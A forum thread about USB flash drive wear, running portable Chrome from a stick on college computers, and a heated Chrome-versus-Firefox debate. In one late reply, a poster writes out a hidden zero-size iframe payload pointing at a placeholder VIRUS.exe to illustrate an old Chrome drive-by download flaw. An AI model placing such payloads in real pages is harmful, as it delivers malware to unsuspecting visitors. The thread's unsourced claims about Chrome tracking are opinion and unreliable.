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What causes a Flash Drive to wear out ?

I know that writing to it produces wear, and there is a limit on how much you can write to it until it becomes unusable.

does Reading from it also produces wear ? if I read hundreds of MB off my USB daily causes wear ? and if so is it the same amount as with Writing ?

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Writing causes wear, not (so much) reading.

Think about it... without a power supply (like a battery) memory chips aren't supposed to retain info (e.g. RAM). But flash memory gets *flashed* and that can only be done so many times before reliability goes down the tubes. And when it does, random, stupid stuff starts happening.

I wouldn't say my 4GB Corsair Flash Readout is unusable, but I would certainly describe it as unreliable, so I'm sending it back. After nearly a year and a half. Corsair offers a 10-year warranty; if you're going to get a flash drive, look for one with at least a 5 year warranty. If you use portable applications (legal or otherwise, from here or otherwise) it's not going to last that long. So I've switched to hard drives. (They're not only more reliable, they're much faster.)

Reading does cause wear, but I can't say if that's because of wear on the USB jack, or just the memory controller accessing the data.

I know I'm making them sound awfully fragile, but I just had my flash drive and home PC's motherboard die on me, so I'm feeling how fragile all kinds of computer parts are. Some people will get more use than others out of their stuff. I got a year and a half out of a flash drive, and from what I've heard about how they work, and based on how I used mine, that sounds about average.

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Sync with Toucan

The reason I asked is because I use Chrome portable browser on many collage computers, since our collage fails to recognize the upcoming best browser at all aspects I'm forced to carry my Chrome on a stick.

So for the first time on a particular PC I copy the directory from USB to PC, and when finishing I Sync the changes to the USB, then I wipe the Data folder so next time I use Toucan and it recognizes the missing files and copies only the missing files or I Encrypt the whole Chrome folder on the PC after Syncing it to USB.

I think it will extend my Stick's lifetime compared to using the browser off the Stick.

what do you think ? Is it wise to copy then back up the browser instead of using it off the Stick ?

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if you don't use cache

then there should be no big reason to copy all the stuff back and forth.
The whole thing can also break some functions which might not be 100% portable. So I see no reason for your complex operations.

otherwise: best browser?? hmmm....??

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it's not the cache, the portable Chrome create a temp folder on the host and delete it when closed, right ?

The frequently modified files are: History files, Thumbnails file and updated Extensions. I may have forgot others..

now I prefer to Encrypt the whole folder and hide it somewhere so it won't get deleted by others.

otherwise: yeah, best browser, it doesn't BUG you in the face when an extension needs updating, and there is NO NEED TO RESTART Browser when doing Changes or Installing/Updating Extensions, except when the browser itself is updated but again, Chrome doesn't notify you to restart browser therefore you can focus on what's important and finish your assignment on time. +Minimal design.

The above are Facts to why Chrome is best (among other many facts), the other reasons are my personal preferences.
and I have used FF and Opera, just to make sure I'm not missing anything :p. and I'm not.

this has gone off-topic Biggrin [There should be a supporf forum section for Chrome just like FF has, Chrome is leading the way in most Aspects of the browsers and you won't be able to deny it when Chrome surpasses FF Usage, it will take some time, but will happen eventually], I'm not saying FF sucks, I'm just saying Chrome is better and has everything FF has (right?) +No Restart +No annoyances +Auto Update for Browser/Extensions/Flash(dev), not to mention its Sync between any Computer you use by entering your Google account, Sync for Bookmarks, Settings(dev)and Themes(dev).
and that was just a quick overview..

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this little bit writing

which will be caused by the few history entries (if you wish to be written at all) and other few temps files, this will not load any current usb flash substantially.
The connector of the stick will break before the flash it self by that kind of use.

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otherwise: yeah, best browser, it doesn't BUG you in the face when an extension needs updating, and there is NO NEED TO RESTART Browser when doing Changes or Installing/Updating Extensions, except when the browser itself is updated but again, Chrome doesn't notify you to restart browser therefore you can focus on what's important and finish your assignment on time. +Minimal design.

One could very much argue about your preferences of something being the best! The part about having minimal design is the only valid argument you made, actually.

Logical review of both your and my thoughts on the subject:

and has everything FF has (right?) +No Restart +No annoyances +Auto Update for Browser/Extensions/Flash(dev), not to mention its Sync between any Computer you use by entering your Google account, Sync for Bookmarks, Settings(dev)and Themes(dev).
And from here only the "+No Restart" point has value, since other things FF either has (auto-updates with or without prompt and such), or can have via add-ons (Sync and the rest). Now, since I said what I did, you must think I'm a Firefox fanboy, right? Well, I am..actually.. :) But that's not the point. I also use Opera and Iron daily, and Safari from time to time... I'll just try to point your reasoning in the right direction. Google Chrome could be said to be the best for having a faster Java-render engine than FF, or for supporting HTML5 (like other big-ones out there), or for passing Acid3 test with 100/100, or for having each tab run a separate process, or for having the Adobe Flash built-in, or for....... many things, plus the one you said about the minimalistic user interface. But for not notifying a user of something it's doing??? Are you, sorry for the expression, so dimwitted (!) that you actually like not knowing what a program does behind your back? Now, will you please, I'm kindly asking you, read THIS Wikipedia article about how Google Chrome is tracking what you do anywhere and everywhere! Do you know it even tracks what you start typing into a search box (!!!), and stores it, together with your IP and useragent string, for a minimal interval of half a year? Do you know that their "Installation" and "RLZ Identifier" methods can track you even if using a portable browser? Do you know how previous versions (thank God it got fixed) could install to your computer anything, literally ANYTHING you encounter on the Internet if a page has one single-line command? FYI, that command is document.write('{iframe src="http://www.example.com/VIRUS.exe" frameborder="0" width="0" height="0"}'); (with brackets instead of { } ) Do you know I could write an entire article about what Google Chrome does why you shouldn't be using it yet? On the bright side, since Google Chrome, as you called it "the best browser", is Open Source, some nice fellas who know what they are doing have actually taken it's source code, edited out all the privacy issues and back doors, added some features, and published their software under the name of SRWare Iron (Wikipedia page). It's also Open Source, so anyone can see that they have actually done what they claim. They even have a portable version of SRWare Iron on their own website, here (SRWare website)

About copying/moving vs. running from a stick:

Now, for your original question, the answer is "depends!". You might
prolong the life of your USB flash drive by doing it, but you have to do it
correctly. Copying only several modified files back to your stick will
certainly improve both performance and USB flash drive's life, over running
apps from the stick directly. But you have to bear this in mind:
- PortableApps officially support only the drive-letter changing (i.e: from
C:\PortableApps to G:\PortableApps and back), NOT the path changing (i.e:
from G:\PortableApps to C:\Users\school\Desktop and back). What that means
is, in order for you to keep your preferences/extensions/whatever working,
you should always copy them to exact same PATH on the local computer, as they
are on your stick. If you don't have Admin access, and you'll not get it at
schools or libraries, it will be difficult, or even impossible, to copy
anything to the root of C:\ drive. Possibly not even to the roots of other
drives, depending on the particular security settings of that computer. So
it's basically better to leave them on the stick and run from there.

Now, one last, most sincere plead for you not to use Google Chrome, for your own privacy's sake! If you like Chrome so very much, than please use SRWare Iron, since it's functionally the same, with user-tracking removed and some features added. If you want to replace Chrome beta (version 5), Iron 5 beta can be found in SRWare's forums, or directly downloaded from here: (local version, THEIR portable version, unofficial portable version FROM OUR FORUMS)

Btw, "collage" is not yet another word for "college". Smile Well, one learns while he lives Smile I know you're not from an English speaking area, I am just telling you the difference so you can learn... No offense meant Smile

Oh, one last thing... If you ever get a response from ottosykora, as he is the one who responded to you previously, trust him about what he says. He always provides true and correct information, and if he decided not to resort to explaining why he disagrees about Chrome being the best browser, it doesn't mean he wasn't right. Sorry for the lengthy reply, I fit it in the boxes for better overview... Take care Smile

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